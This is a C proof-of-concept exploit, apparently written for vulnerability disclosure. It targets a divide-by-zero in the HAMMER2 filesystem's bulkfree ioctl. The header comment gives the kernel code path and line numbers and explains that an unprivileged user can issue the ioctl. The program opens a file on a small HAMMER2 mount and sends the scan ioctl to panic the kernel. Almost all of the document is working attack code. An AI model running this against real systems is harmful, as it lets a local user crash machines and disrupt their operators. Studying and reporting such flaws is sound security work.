/*
 * DF-0818 — Integer divide-by-zero in HAMMER2 bulkfree_pass progress.
 *
 * Trigger path:
 *   hammer2_ioctl_bulkfree_scan()   (sys/vfs/hammer2/hammer2_ioctl.c:1088)
 *     -> hammer2_bulkfree_pass()    (sys/vfs/hammer2/hammer2_bulkfree.c:512)
 *        line 727:  incr = bfi->sstop / (hmp->total_size / 10000);
 *
 * If hmp->total_size < 10000 the integer divisor `hmp->total_size / 10000`
 * is 0 and the divide-by-zero #DE trap panics the kernel.
 *
 * The HAMMER2IOC_BULKFREE_{SCAN,ASYNC} ioctl is *deliberately* exempt from
 * the caps_priv_check() gate at hammer2_ioctl.c:83 (no `if (error == 0)`
 * guard for those two cases at hammer2_ioctl.c:144-149), so any user that
 * can open an inode on a mounted HAMMER2 PFS may issue it.
 *
 * Run as the unprivileged user against a HAMMER2 filesystem the admin has
 * mounted and chowned to them (vfs.usermount-style precondition):
 *
 *     ./poc /mnt/h2/any-file
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <vfs/hammer2/hammer2_ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "/mnt/h2/trigger";
    hammer2_ioc_bulkfree_t bfi;
    int fd, rc;

    fd = open(path, O_RDONLY);
    if (fd < 0) { perror("open"); return 2; }

    memset(&bfi, 0, sizeof(bfi));
    bfi.sbase = 0;
    bfi.size  = 8192 * 1024;    /* 8 MiB bitmap buffer, matches hammer2(8) */

    rc = ioctl(fd, HAMMER2IOC_BULKFREE_SCAN, &bfi);
    printf("BULKFREE_SCAN rc=%d errno=%d (%s)\n",
           rc, errno, strerror(errno));
    printf("  sstop=%llu total_size-derived divisor=? (consumed by kernel)\n",
           (unsigned long long)bfi.sstop);
    close(fd);
    return 0;
}
